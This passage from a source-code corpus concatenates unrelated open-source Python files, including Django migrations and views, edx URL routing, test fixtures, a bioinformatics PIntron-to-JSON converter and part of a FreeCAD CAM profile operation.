{'auto_now': 'True', 'blank': 'True'}), 'grader_settings': ('django.db.models.fields.TextField', [], {'default': "''"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'location': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '1024'}), 'max_score': ('django.db.models.fields.IntegerField', [], {'default': '1'}), 'next_grader_type': ('django.db.models.fields.CharField', [], {'default': "'NA'", 'max_length': '2'}), 'posted_results_back_to_queue': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'previous_grader_type': ('django.db.models.fields.CharField', [], {'default': "'NA'", 'max_length': '2'}), 'problem_id': ('django.db.models.fields.CharField', [], {'max_length': '1024'}), 'prompt': ('django.db.models.fields.TextField', [], {'default': "''"}), 'rubric': ('django.db.models.fields.TextField', [], {'default': "''"}), 'state': ('django.db.models.fields.CharField', [], {'max_length': '1'}), 'student_id': ('django.db.models.fields.CharField', [], {'max_length': '1024'}), 'student_response': ('django.db.models.fields.TextField', [], {'default': "''"}), 'student_submission_time': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'xqueue_queue_name': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '1024'}), 'xqueue_submission_id': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '1024'}), 'xqueue_submission_key': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '1024'}) } } complete_apps = ['controller']
edx/edx-ora
controller/migrations/0013_auto__add_message.py
Python
agpl-3.0
5,456
############################################################################## # # OSIS stands for Open Student Information System. It's an application # designed to manage the core business of higher education institutions, # such as universities, faculties, institutes and professional schools. # The core business involves the administration of students, teachers, # courses, programs and so on. # # Copyright (C) 2015-2021 Université catholique de Louvain (http://www.uclouvain.be) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # A copy of this license - GNU General Public License - is available # at the root of the source code of this program. If not, # see http://www.gnu.org/licenses/. # ############################################################################## import json import logging from django.conf import settings from django.contrib.auth.mixins import LoginRequiredMixin from django.contrib.auth.mixins import PermissionRequiredMixin from django.http import Http404 from django.shortcuts import get_object_or_404, render from django.views.generic import DetailView from base import models as mdl from base.business.institution import find_summary_course_submission_dates_for_entity_version from base.models import entity from base.models.academic_year import AcademicYear from base.models.entity_version import EntityVersion from learning_unit.calendar.learning_unit_summary_edition_calendar import LearningUnitSummaryEditionCalendar logger = logging.getLogger(settings.DEFAULT_LOGGER) class EntityRead(LoginRequiredMixin, DetailView): permission_required = 'perms.base.can_access_structure' raise_exception = True template_name = "entity/identification.html" pk_url_kwarg = "entity_version_id" context_object_name = "entity" model = EntityVersion def get(self, request, *args, **kwargs): entity_version_id = kwargs['entity_version_id'] entity_version = get_object_or_404(EntityVersion, id=entity_version_id) return self._build_entity_read_render(entity_version, request) def _build_entity_read_render(self, entity_version, request): entity_parent = entity_version.get_parent_version() descendants = entity_version.descendants calendar = LearningUnitSummaryEditionCalendar() target_years_opened = calendar.get_target_years_opened() if target_years_opened: target_year_displayed = target_years_opened[0] else: previous_academic_event = calendar.get_previous_academic_event() target_year_displayed = previous_academic_event.authorized_target_year academic_year = AcademicYear.objects.get(year=target_year_displayed) calendar_summary_course_submission = find_summary_course_submission_dates_for_entity_version( entity_version=entity_version, ac_year=academic_year ) context = { 'entity_version': entity_version, 'entity_parent': entity_parent, 'descendants': descendants, 'calendar_summary_course_submission': calendar_summary_course_submission } return render(request, self.template_name, context) class EntityReadByAcronym(EntityRead): pk_url_kwarg = "entity_acronym" def get(self, request, *args, **kwargs): entity_acronym = kwargs['entity_acronym'] results = entity.search(acronym=entity_acronym) if results: entity_version = results[0].most_recent_entity_version else: raise Http404('No EntityVersion matches the given query.') return self._build_entity_read_render(entity_version, request) class EntityVersionsRead(PermissionRequiredMixin, DetailView): permission_required = 'perms.base.can_access_structure' raise_exception = True template_name = "entity/versions.html" pk_url_kwarg = "entity_version_id" context_object_name = "entity" model = EntityVersion def get(self, request, *args, **kwargs): entity_version_id = kwargs['entity_version_id'] entity_version = mdl.entity_version.find_by_id(entity_version_id) entity_parent = entity_version.get_parent_version() entities_version = mdl.entity_version.search(entity=entity_version.entity) \ .order_by('-start_date') return render(request, "entity/versions.html", locals()) class EntityDiagramRead(LoginRequiredMixin, DetailView): permission_required = 'perms.base.can_access_structure' raise_exception = True template_name = "entity/organogram.html" pk_url_kwarg = "entity_version_id" context_object_name = "entity" model = EntityVersion def get(self, request, *args, **kwargs): entity_version_id = kwargs['entity_version_id'] entity_version = mdl.entity_version.find_by_id(entity_version_id) entities_version_as_json = json.dumps(entity_version.get_organigram_data()) return render( request, "entity/organogram.html", { "entity_version": entity_version, "entities_version_as_json": entities_version_as_json, } )
uclouvain/osis
base/views/entity/detail.py
Python
agpl-3.0
5,701
from datetime import date import random from radar.fixtures.utils import add, random_date from radar.models.groups import Group, GROUP_TYPE from radar.models.transplants import Transplant, TRANSPLANT_MODALITIES def create_transplants_f(): hospitals = Group.query.filter(Group.type == GROUP_TYPE.HOSPITAL).all() def create_transplants(patient, source_group, source_type, n): for _ in range(n): transplant = Transplant() transplant.patient = patient transplant.source_group = source_group transplant.source_type = source_type transplant.date = random_date(patient.earliest_date_of_birth, date.today()) transplant.modality = random.choice(list(TRANSPLANT_MODALITIES.keys())) transplant.transplant_group = random.choice(hospitals) if random.random() > 0.75: transplant.date_of_failure = random_date(transplant.date, date.today()) add(transplant) return create_transplants
renalreg/radar
radar/fixtures/transplants.py
Python
agpl-3.0
1,019
"""check for method without self as first argument """ __revision__ = 0 class Abcd(object): """dummy class""" def __init__(self): pass def abcd(yoo): """another test""" abcd = classmethod(abcd) def edf(self): """justo ne more method""" print('yapudju in', self)
GbalsaC/bitnamiP
venv/lib/python2.7/site-packages/pylint/test/input/func_e0203.py
Python
agpl-3.0
339
from django.conf import settings from django.conf.urls import include, patterns, url # There is a course creators admin table. from ratelimitbackend import admin from cms.djangoapps.contentstore.views.organization import OrganizationListView admin.autodiscover() # Pattern to match a course key or a library key COURSELIKE_KEY_PATTERN = r'(?P<course_key_string>({}|{}))'.format( r'[^/]+/[^/]+/[^/]+', r'[^/:]+:[^/+]+\+[^/+]+(\+[^/]+)?' ) # Pattern to match a library key only LIBRARY_KEY_PATTERN = r'(?P<library_key_string>library-v1:[^/+]+\+[^/+]+)' urlpatterns = patterns( '', url(r'', include('student.urls')), url(r'^transcripts/upload$', 'contentstore.views.upload_transcripts', name='upload_transcripts'), url(r'^transcripts/download$', 'contentstore.views.download_transcripts', name='download_transcripts'), url(r'^transcripts/check$', 'contentstore.views.check_transcripts', name='check_transcripts'), url(r'^transcripts/choose$', 'contentstore.views.choose_transcripts', name='choose_transcripts'), url(r'^transcripts/replace$', 'contentstore.views.replace_transcripts', name='replace_transcripts'), url(r'^transcripts/rename$', 'contentstore.views.rename_transcripts', name='rename_transcripts'), url(r'^transcripts/save$', 'contentstore.views.save_transcripts', name='save_transcripts'), url(r'^preview/xblock/(?P<usage_key_string>.*?)/handler/(?P<handler>[^/]*)(?:/(?P<suffix>.*))?$', 'contentstore.views.preview_handler', name='preview_handler'), url(r'^xblock/(?P<usage_key_string>.*?)/handler/(?P<handler>[^/]*)(?:/(?P<suffix>.*))?$', 'contentstore.views.component_handler', name='component_handler'), url(r'^xblock/resource/(?P<block_type>[^/]*)/(?P<uri>.*)$', 'openedx.core.djangoapps.common_views.xblock.xblock_resource', name='xblock_resource_url'), url(r'^not_found$', 'contentstore.views.not_found', name='not_found'), url(r'^server_error$', 'contentstore.views.server_error', name='server_error'), url(r'^organizations$', OrganizationListView.as_view(), name='organizations'), # noop to squelch ajax errors url(r'^event$', 'contentstore.views.event', name='event'), url(r'^xmodule/', include('pipeline_js.urls')), url(r'^heartbeat$', include('openedx.core.djangoapps.heartbeat.urls')), url(r'^user_api/', include('openedx.core.djangoapps.user_api.legacy_urls')), url(r'^i18n/', include('django.conf.urls.i18n')), # User API endpoints url(r'^api/user/', include('openedx.core.djangoapps.user_api.urls')), # Update session view url( r'^lang_pref/session_language', 'openedx.core.djangoapps.lang_pref.views.update_session_language', name='session_language' ), # Darklang View to change the preview language (or dark language) url(r'^update_lang/', include('openedx.core.djangoapps.dark_lang.urls', namespace='dark_lang')), # For redirecting to help pages. url(r'^help_token/', include('help_tokens.urls')), ) # restful api urlpatterns += patterns( 'contentstore.views', url(r'^$', 'howitworks', name='homepage'), url(r'^howitworks$', 'howitworks'), url(r'^signup$', 'signup', name='signup'), url(r'^signin$', 'login_page', name='login'), url(r'^request_course_creator$', 'request_course_creator', name='request_course_creator'), url(r'^course_team/{}(?:/(?P<email>.+))?$'.format(COURSELIKE_KEY_PATTERN), 'course_team_handler'), url(r'^course_info/{}$'.format(settings.COURSE_KEY_PATTERN), 'course_info_handler'), url( r'^course_info_update/{}/(?P<provided_id>\d+)?$'.format(settings.COURSE_KEY_PATTERN), 'course_info_update_handler' ), url(r'^home/?$', 'course_listing', name='home'), url( r'^course/{}/search_reindex?$'.format(settings.COURSE_KEY_PATTERN), 'course_search_index_handler', name='course_search_index_handler' ), url(r'^course/{}?$'.format(settings.COURSE_KEY_PATTERN), 'course_handler', name='course_handler'), url(r'^course_notifications/{}/(?P<action_state_id>\d+)?$'.format(settings.COURSE_KEY_PATTERN), 'course_notifications_handler'), url(r'^course_rerun/{}$'.format(settings.COURSE_KEY_PATTERN), 'course_rerun_handler', name='course_rerun_handler'), url(r'^container/{}$'.format(settings.USAGE_KEY_PATTERN), 'container_handler'), url(r'^orphan/{}$'.format(settings.COURSE_KEY_PATTERN), 'orphan_handler'), url(r'^assets/{}/{}?$'.format(settings.COURSE_KEY_PATTERN, settings.ASSET_KEY_PATTERN), 'assets_handler'), url(r'^import/{}$'.format(COURSELIKE_KEY_PATTERN), 'import_handler'), url(r'^import_status/{}/(?P<filename>.+)$'.format(COURSELIKE_KEY_PATTERN), 'import_status_handler'), url(r'^export/{}$'.format(COURSELIKE_KEY_PATTERN), 'export_handler'), url(r'^export_output/{}$'.format(COURSELIKE_KEY_PATTERN), 'export_output_handler'), url(r'^export_status/{}$'.format(COURSELIKE_KEY_PATTERN), 'export_status_handler'), url(r'^xblock/outline/{}$'.format(settings.USAGE_KEY_PATTERN), 'xblock_outline_handler'), url(r'^xblock/container/{}$'.format(settings.USAGE_KEY_PATTERN), 'xblock_container_handler'), url(r'^xblock/{}/(?P<view_name>[^/]+)$'.format(settings.USAGE_KEY_PATTERN), 'xblock_view_handler'), url(r'^xblock/{}?$'.format(settings.USAGE_KEY_PATTERN), 'xblock_handler'), url(r'^tabs/{}$'.format(settings.COURSE_KEY_PATTERN), 'tabs_handler'), url(r'^settings/details/{}$'.format(settings.COURSE_KEY_PATTERN), 'settings_handler'), url(r'^settings/grading/{}(/)?(?P<grader_index>\d+)?$'.format(settings.COURSE_KEY_PATTERN), 'grading_handler'), url(r'^settings/advanced/{}$'.format(settings.COURSE_KEY_PATTERN), 'advanced_settings_handler'), url(r'^textbooks/{}$'.format(settings.COURSE_KEY_PATTERN), 'textbooks_list_handler'), url(r'^textbooks/{}/(?P<textbook_id>\d[^/]*)$'.format(settings.COURSE_KEY_PATTERN), 'textbooks_detail_handler'), url(r'^videos/{}(?:/(?P<edx_video_id>[-\w]+))?$'.format(settings.COURSE_KEY_PATTERN), 'videos_handler'), url(r'^video_encodings_download/{}$'.format(settings.COURSE_KEY_PATTERN), 'video_encodings_download'), url(r'^group_configurations/{}$'.format(settings.COURSE_KEY_PATTERN), 'group_configurations_list_handler'), url(r'^group_configurations/{}/(?P<group_configuration_id>\d+)(/)?(?P<group_id>\d+)?$'.format( settings.COURSE_KEY_PATTERN), 'group_configurations_detail_handler'), url(r'^api/val/v0/', include('edxval.urls')), url(r'^api/tasks/v0/', include('user_tasks.urls')), ) JS_INFO_DICT = { 'domain': 'djangojs', # We need to explicitly include external Django apps that are not in LOCALE_PATHS. 'packages': ('openassessment',), } if settings.FEATURES.get('ENABLE_CONTENT_LIBRARIES'): urlpatterns += ( url(r'^library/{}?$'.format(LIBRARY_KEY_PATTERN), 'contentstore.views.library_handler', name='library_handler'), url(r'^library/{}/team/$'.format(LIBRARY_KEY_PATTERN), 'contentstore.views.manage_library_users', name='manage_library_users'), ) if settings.FEATURES.get('ENABLE_EXPORT_GIT'): urlpatterns += (url( r'^export_git/{}$'.format( settings.COURSE_KEY_PATTERN, ), 'contentstore.views.export_git', name='export_git', ),) if settings.FEATURES.get('ENABLE_SERVICE_STATUS'): urlpatterns += patterns( '', url(r'^status/', include('openedx.core.djangoapps.service_status.urls')), ) if settings.FEATURES.get('AUTH_USE_CAS'): urlpatterns += ( url(r'^cas-auth/login/$', 'openedx.core.djangoapps.external_auth.views.cas_login', name="cas-login"), url(r'^cas-auth/logout/$', 'django_cas.views.logout', {'next_page': '/'}, name="cas-logout"), ) urlpatterns += patterns('', url(r'^admin/', include(admin.site.urls)),) # enable entrance exams if settings.FEATURES.get('ENTRANCE_EXAMS'): urlpatterns += ( url(r'^course/{}/entrance_exam/?$'.format(settings.COURSE_KEY_PATTERN), 'contentstore.views.entrance_exam'), ) # Enable Web/HTML Certificates if settings.FEATURES.get('CERTIFICATES_HTML_VIEW'): urlpatterns += ( url(r'^certificates/activation/{}/'.format(settings.COURSE_KEY_PATTERN), 'contentstore.views.certificates.certificate_activation_handler'), url(r'^certificates/{}/(?P<certificate_id>\d+)/signatories/(?P<signatory_id>\d+)?$'.format( settings.COURSE_KEY_PATTERN), 'contentstore.views.certificates.signatory_detail_handler'), url(r'^certificates/{}/(?P<certificate_id>\d+)?$'.format(settings.COURSE_KEY_PATTERN), 'contentstore.views.certificates.certificates_detail_handler'), url(r'^certificates/{}$'.format(settings.COURSE_KEY_PATTERN), 'contentstore.views.certificates.certificates_list_handler') ) # Maintenance Dashboard urlpatterns += patterns( '', url(r'^maintenance/', include('maintenance.urls', namespace='maintenance')), ) if settings.DEBUG: try: from .urls_dev import urlpatterns as dev_urlpatterns urlpatterns += dev_urlpatterns except ImportError: pass if 'debug_toolbar' in settings.INSTALLED_APPS: import debug_toolbar urlpatterns += ( url(r'^__debug__/', include(debug_toolbar.urls)), ) # Custom error pages # These are used by Django to render these error codes. Do not remove. # pylint: disable=invalid-name handler404 = 'contentstore.views.render_404' handler500 = 'contentstore.views.render_500' # display error page templates, for testing purposes urlpatterns += ( url(r'^404$', handler404), url(r'^500$', handler500), )
fintech-circle/edx-platform
cms/urls.py
Python
agpl-3.0
9,697
# -*- coding: utf-8 -*- # Generated by Django 1.11.4 on 2018-08-03 13:15 # Django from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('accounts', '0041_profile_avatar_url'), ] operations = [ migrations.RemoveField( model_name='profile', name='confirmation_key', ), migrations.AddField( model_name='profile', name='full_name', field=models.CharField(blank=True, max_length=255), ), migrations.AddField( model_name='profile', name='uuid', field=models.UUIDField(blank=True, null=True), ), ]
MuckRock/muckrock
muckrock/accounts/migrations/0042_auto_20180803_0915.py
Python
agpl-3.0
709
import subprocess import shutil from unittest import TestCase if shutil.which('flake8'): class TestCodeQuality(TestCase): def test_flake8(self): self.assertEqual(0, subprocess.call('flake8')) else: print("I: skipping flake8 test (flake8 not available)")
Linaro/squad
test/test_code_quality.py
Python
agpl-3.0
285
# © 2013 Akretion - Alexis de Lattre <[email protected]> # © 2014 Serv. Tecnol. Avanzados - Pedro M. Baeza # License AGPL-3.0 or later (https://www.gnu.org/licenses/agpl.html). from . import models from .post_install import set_default_initiating_party
OCA/bank-payment
account_banking_pain_base/__init__.py
Python
agpl-3.0
267
#!/usr/bin/env python from __future__ import print_function import argparse import contextlib import gzip import json import logging import re import sys @contextlib.contextmanager def smart_open_out(filename=None): if filename and filename != '-': fn = filename fo = open(filename, 'w') if filename.endswith(".gz"): fh = gzip.GzipFile(fn, 'wb', 9, fo) else: fh = fo else: fn = "<stdout>" fo = sys.stdout fh = sys.stdout try: yield fh finally: if fh is not fo: fh.close() if fo is not sys.stdout: fo.close() def parse_est_fasta_header(line): identifier = line if '/gb=' in identifier: identifier = re.search('\/gb=([A-Z_0-9:]+)', identifier).groups()[0] return identifier def parse_block_alignment_str(line, genomic_block): parts = line.split() block = {'transcript_start': int(parts[0]), 'transcript_end': int(parts[1]), 'genomic_relative_start': int(parts[2]), 'genomic_relative_end': int(parts[3]), 'transcript_sequence': parts[4], 'genomic_sequence': parts[5]} if genomic_block['strand'] == '+': block['genomic_absolute_start'] = genomic_block['start'] + block['genomic_relative_start'] block['genomic_absolute_end'] = genomic_block['start'] + block['genomic_relative_end'] else: block['genomic_absolute_start'] = genomic_block['end'] - block['genomic_relative_start'] + 1 block['genomic_absolute_end'] = genomic_block['end'] - block['genomic_relative_end'] + 1 return block def pintron_alignments(alignments, genomic_block): curr_alignment = None for line in alignments: line = line.strip() if line.startswith(">"): # New sequence/alignment if curr_alignment: yield curr_alignment curr_alignment = {'identifier': parse_est_fasta_header(line), 'blocks': []} elif line.startswith("#"): # Annotation (currently ignored) pass elif line[0].isdigit(): # New block assert(curr_alignment) curr_alignment['blocks'].append(parse_block_alignment_str(line, genomic_block)) if curr_alignment: yield curr_alignment def parse_genomic_header(line): parts = line.split(":") strand = int(parts[3]+"1") strand = "+" if strand > 0 else "-" return {'seqname': parts[0], 'start': int(parts[1]), 'end': int(parts[2]), 'strand': strand} def parse_introns(introns_stream, genomic_block, alignments): introns = [] for identifier, line in enumerate(introns_stream): intron = {"identifier": "Int{0}".format(identifier)} (intron['relative_start'], intron['relative_end'], intron['absolute_start'], intron['absolute_end'], intron['length'], intron['number_of_supporting_transcripts'], seq_list, intron['donor_alignment_error'], intron['acceptor_alignment_error'], intron['donor_score'], intron['acceptor_score'], intron['BPS_score'], intron['BPS_position'], intron['type'], intron['pattern'], intron['repeat_sequence'], intron['donor_exon_suffix'], intron['prefix'], intron['suffix'], intron['acceptor_exon_prefix']) = line.rstrip().split("\t") intron["supporting_transcripts"] = {i: {} for i in seq_list.split(',') if i != ''} for field in ('relative_start', 'relative_end', 'absolute_start', 'absolute_end', 'length', 'number_of_supporting_transcripts', 'BPS_position'): intron[field] = int(intron[field]) # a bug in PIntron (file predicted-introns.txt) causes to report absolute # coordinates of introns on strand '+' shifted to the left of 1bp if genomic_block['strand'] == "+": intron['absolute_start'] = intron['absolute_start'] + 1 intron['absolute_end'] = intron['absolute_end'] + 1 for field in ('donor_alignment_error', 'acceptor_alignment_error', 'donor_score', 'acceptor_score', 'BPS_score'): intron[field] = float(intron[field]) if intron['BPS_position'] < 0: del intron['BPS_position'] introns.append(intron) # for each intron, add the alignment of the surrounding exons. # Since different factorizations can support the same intron, the first # step is to find all pairs of exons supporting an intron def supporting_factors(intron): pairs = [] for identifier in intron["supporting_transcripts"].keys(): factor = alignments[identifier] good_left = [exon for exon in factor['blocks'] if exon['genomic_relative_end'] == intron['relative_start'] - 1] good_right = [exon for exon in factor['blocks'] if exon['genomic_relative_start'] == intron['relative_end'] + 1] if len(good_left) == 1 and len(good_right) == 1: pairs.append((identifier, good_left[0], good_right[0])) else: logging.error("Could not find a supporting alignment of " + "transcript %s for intron %s", identifier, intron['identifier']) assert len(pairs) == intron['number_of_supporting_transcripts'] return pairs # # Each intron has the list of supporting_transcripts. # For each such seq we provide the suffix/prefix of the prev/next exon for intron in introns: for [seq, donor_factor, acceptor_factor] in supporting_factors(intron): intron['supporting_transcripts'][seq] = { 'donor_factor_suffix': donor_factor['transcript_sequence'][-len(intron['donor_exon_suffix']):], 'acceptor_factor_prefix': acceptor_factor['transcript_sequence'][:len(intron['acceptor_exon_prefix'])], 'acceptor_factor_start': acceptor_factor['transcript_start'], 'donor_factor_end': donor_factor['transcript_end'], 'acceptor_factor_end': acceptor_factor['transcript_end'], 'donor_factor_start': donor_factor['transcript_start'], } return introns def convert_to_dict(genomic_file, alignment_file, introns_file): logging.info("Parsing genomic coordinates from file '%s'", genomic_file.name) genomic_block = parse_genomic_header(genomic_file.readline().strip().lstrip(">")) logging.info("Reading results from genomic region: %s:%d:%d:%s", genomic_block["seqname"], genomic_block["start"], genomic_block["end"], genomic_block["strand"]) logging.info("Parsing alignments from file '%s'", alignment_file.name) alignments = {alignment['identifier']: alignment for alignment in pintron_alignments(alignment_file, genomic_block)} logging.info("Read %d alignments", len(alignments)) logging.info("Parsing predicted introns from file '%s'", introns_file.name) introns = parse_introns(introns_file, genomic_block, alignments) logging.info("Read %d introns", len(introns)) return {'genome': genomic_block, 'introns': introns, 'alignments': alignments} def main(): parser = argparse.ArgumentParser( description="Convert PIntron results to a more convenient JSON format", formatter_class=argparse.ArgumentDefaultsHelpFormatter ) parser.add_argument( '-g', '--pintron-genomic-file', help="File containing the genomic sequence given as input to PIntron", metavar="FILE", type=argparse.FileType(mode='r'), default='genomic.txt') parser.add_argument( '-a', '--pintron-align-file', help="File containing the alignments computed by PIntron after the intron agreement step", metavar="FILE", type=argparse.FileType(mode='r'), default='out-after-intron-agree.txt') parser.add_argument( '-i', '--pintron-introns-file', help="File containing the introns predicted by PIntron", metavar="FILE", type=argparse.FileType(mode='r'), default='predicted-introns.txt') parser.add_argument( '-j', '--output-json-file', help="File where all the results will be printed to in JSON format", metavar="FILE (or -)", default="-") parser.add_argument( '-v', '--verbose', help='increase output verbosity', action='count', default=0) args = parser.parse_args() if args.verbose == 0: log_level = logging.INFO elif args.verbose == 1: log_level = logging.DEBUG else: log_level = logging.DEBUG logging.basicConfig(level=log_level, format='%(levelname)-8s [%(asctime)s] %(message)s', datefmt="%y%m%d %H%M%S") results = convert_to_dict(args.pintron_genomic_file, args.pintron_align_file, args.pintron_introns_file) logging.info("Writing results to file '%s'", args.output_json_file) with smart_open_out(args.output_json_file) as fout: json.dump(results, fout) logging.info("Terminated.") if __name__ == "__main__": main()
AlgoLab/PIntron-scripts
Postprocessing/pintron-output-2-json.py
Python
agpl-3.0
9,511
# -*- coding: utf-8 -*- # *************************************************************************** # * * # * Copyright (c) 2016 sliptonic <[email protected]> * # * * # * This program is free software; you can redistribute it and/or modify * # * it under the terms of the GNU Lesser General Public License (LGPL) * # * as published by the Free Software Foundation; either version 2 of * # * the License, or (at your option) any later version. * # * for detail see the LICENCE text file. * # * * # * This program is distributed in the hope that it will be useful, * # * but WITHOUT ANY WARRANTY; without even the implied warranty of * # * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * # * GNU Library General Public License for more details. * # * * # * You should have received a copy of the GNU Library General Public * # * License along with this program; if not, write to the Free Software * # * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * # * USA * # * * # *************************************************************************** import FreeCAD import Path from FreeCAD import Vector from PathScripts import PathUtils from PathScripts.PathUtils import depth_params from DraftGeomUtils import findWires if FreeCAD.GuiUp: import FreeCADGui from PySide import QtCore, QtGui # Qt tanslation handling try: _encoding = QtGui.QApplication.UnicodeUTF8 def translate(context, text, disambig=None): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def translate(context, text, disambig=None): return QtGui.QApplication.translate(context, text, disambig) else: def translate(ctxt, txt): return txt __title__ = "Path Profile Edges Operation" __author__ = "sliptonic (Brad Collette)" __url__ = "http://www.freecadweb.org" """Path Profile object and FreeCAD command for operating on sets of edges""" class ObjectProfile: def __init__(self, obj): obj.addProperty("App::PropertyLinkSubList", "Base", "Path", QtCore.QT_TRANSLATE_NOOP("App::Property","The base geometry of this toolpath")) obj.addProperty("App::PropertyBool", "Active", "Path", QtCore.QT_TRANSLATE_NOOP("App::Property","Make False, to prevent operation from generating code")) obj.addProperty("App::PropertyString", "Comment", "Path", QtCore.QT_TRANSLATE_NOOP("App::Property","An optional comment for this profile")) obj.addProperty("App::PropertyString", "UserLabel", "Path", QtCore.QT_TRANSLATE_NOOP("App::Property","User Assigned Label")) # obj.addProperty("App::PropertyEnumeration", "Algorithm", "Algorithm", "The library or algorithm used to generate the path") # obj.Algorithm = ['OCC Native', 'libarea'] obj.addProperty("App::PropertyIntegerConstraint", "ToolNumber", "Tool", QtCore.QT_TRANSLATE_NOOP("App::Property","The tool number in use")) obj.ToolNumber = (0, 0, 1000, 1) obj.setEditorMode('ToolNumber', 1) # make this read only obj.addProperty("App::PropertyString", "ToolDescription", "Tool", QtCore.QT_TRANSLATE_NOOP("App::Property","The description of the tool")) obj.setEditorMode('ToolDescription', 1) # make this read onlyt # Depth Properties obj.addProperty("App::PropertyDistance", "ClearanceHeight", "Depth", QtCore.QT_TRANSLATE_NOOP("App::Property","The height needed to clear clamps and obstructions")) obj.addProperty("App::PropertyDistance", "SafeHeight", "Depth", QtCore.QT_TRANSLATE_NOOP("App::Property","Rapid Safety Height between locations")) obj.addProperty("App::PropertyFloatConstraint", "StepDown", "Depth", QtCore.QT_TRANSLATE_NOOP("App::Property","Incremental Step Down of Tool")) obj.StepDown = (1, 0.01, 1000, 0.5) obj.addProperty("App::PropertyDistance", "StartDepth", "Depth", QtCore.QT_TRANSLATE_NOOP("App::Property","Starting Depth of Tool- first cut depth in Z")) obj.addProperty("App::PropertyDistance", "FinalDepth", "Depth", QtCore.QT_TRANSLATE_NOOP("App::Property","Final Depth of Tool- lowest value in Z")) # Start Point Properties obj.addProperty("App::PropertyVector", "StartPoint", "Start Point", QtCore.QT_TRANSLATE_NOOP("App::Property","The start point of this path")) obj.addProperty("App::PropertyBool", "UseStartPoint", "Start Point", QtCore.QT_TRANSLATE_NOOP("App::Property","make True, if specifying a Start Point")) obj.addProperty("App::PropertyLength", "ExtendAtStart", "Start Point", QtCore.QT_TRANSLATE_NOOP("App::Property","extra length of tool path before start of part edge")) obj.addProperty("App::PropertyLength", "LeadInLineLen", "Start Point", QtCore.QT_TRANSLATE_NOOP("App::Property","length of straight segment of toolpath that comes in at angle to first part edge")) # End Point Properties obj.addProperty("App::PropertyBool", "UseEndPoint", "End Point", QtCore.QT_TRANSLATE_NOOP("App::Property","make True, if specifying an End Point")) obj.addProperty("App::PropertyLength", "ExtendAtEnd", "End Point", QtCore.QT_TRANSLATE_NOOP("App::Property","extra length of tool path after end of part edge")) obj.addProperty("App::PropertyLength", "LeadOutLineLen", "End Point", QtCore.QT_TRANSLATE_NOOP("App::Property","length of straight segment of toolpath that comes in at angle to last part edge")) obj.addProperty("App::PropertyVector", "EndPoint", "End Point", QtCore.QT_TRANSLATE_NOOP("App::Property","The end point of this path")) # Profile Properties obj.addProperty("App::PropertyEnumeration", "Side", "Profile", QtCore.QT_TRANSLATE_NOOP("App::Property","Side of edge that tool should cut")) obj.Side = ['Left', 'Right', 'On'] # side of profile that cutter is on in relation to direction of profile obj.addProperty("App::PropertyEnumeration", "Direction", "Profile", QtCore.QT_TRANSLATE_NOOP("App::Property","The direction that the toolpath should go around the part ClockWise CW or CounterClockWise CCW")) obj.Direction = ['CW', 'CCW'] # this is the direction that the profile runs obj.addProperty("App::PropertyBool", "UseComp", "Profile", QtCore.QT_TRANSLATE_NOOP("App::Property","make True, if using Cutter Radius Compensation")) obj.addProperty("App::PropertyDistance", "RollRadius", "Profile", QtCore.QT_TRANSLATE_NOOP("App::Property","Radius at start and end")) obj.addProperty("App::PropertyDistance", "OffsetExtra", "Profile", QtCore.QT_TRANSLATE_NOOP("App::Property","Extra value to stay away from final profile- good for roughing toolpath")) obj.addProperty("App::PropertyLength", "SegLen", "Profile", QtCore.QT_TRANSLATE_NOOP("App::Property","Tesselation value for tool paths made from beziers, bsplines, and ellipses")) obj.addProperty("App::PropertyAngle", "PlungeAngle", "Profile", QtCore.QT_TRANSLATE_NOOP("App::Property","Plunge angle with which the tool enters the work piece. Straight down is 90 degrees, if set small enough or zero the tool will descent exactly one layer depth down per turn")) obj.addProperty("App::PropertyVectorList", "locs", "Tags", QtCore.QT_TRANSLATE_NOOP("App::Property","List of holding tag locations")) obj.addProperty("App::PropertyFloatList", "angles", "Tags", QtCore.QT_TRANSLATE_NOOP("App::Property","List of angles for the holding tags")) obj.addProperty("App::PropertyFloatList", "heights", "Tags", QtCore.QT_TRANSLATE_NOOP("App::Property","List of angles for the holding tags")) obj.addProperty("App::PropertyFloatList", "lengths", "Tags", QtCore.QT_TRANSLATE_NOOP("App::Property","List of angles for the holding tags")) locations = [] angles = [] lengths = [] heights = [] obj.locs = locations obj.angles = angles obj.lengths = lengths obj.heights = heights #obj.ToolDescription = "UNDEFINED" obj.Proxy = self def __getstate__(self): return None def __setstate__(self, state): return None def onChanged(self, obj, prop): if prop == "UserLabel": obj.Label = obj.UserLabel + " :" + obj.ToolDescription def addprofilebase(self, obj, ss, sub=""): baselist = obj.Base if len(baselist) == 0: # When adding the first base object, guess at heights try: bb = ss.Shape.BoundBox # parent boundbox subobj = ss.Shape.getElement(sub) fbb = subobj.BoundBox # feature boundbox obj.StartDepth = bb.ZMax obj.ClearanceHeight = bb.ZMax + 5.0 obj.SafeHeight = bb.ZMax + 3.0 if fbb.ZMax == fbb.ZMin and fbb.ZMax == bb.ZMax: # top face obj.FinalDepth = bb.ZMin elif fbb.ZMax > fbb.ZMin and fbb.ZMax == bb.ZMax: # vertical face, full cut obj.FinalDepth = fbb.ZMin elif fbb.ZMax > fbb.ZMin and fbb.ZMin > bb.ZMin: # internal vertical wall obj.FinalDepth = fbb.ZMin elif fbb.ZMax == fbb.ZMin and fbb.ZMax > bb.ZMin: # face/shelf obj.FinalDepth = fbb.ZMin else: #catch all obj.FinalDepth = bb.ZMin except: obj.StartDepth = 5.0 obj.ClearanceHeight = 10.0 obj.SafeHeight = 8.0 # if bb.XLength == fbb.XLength and bb.YLength == fbb.YLength: # obj.Side = "Left" # else: # 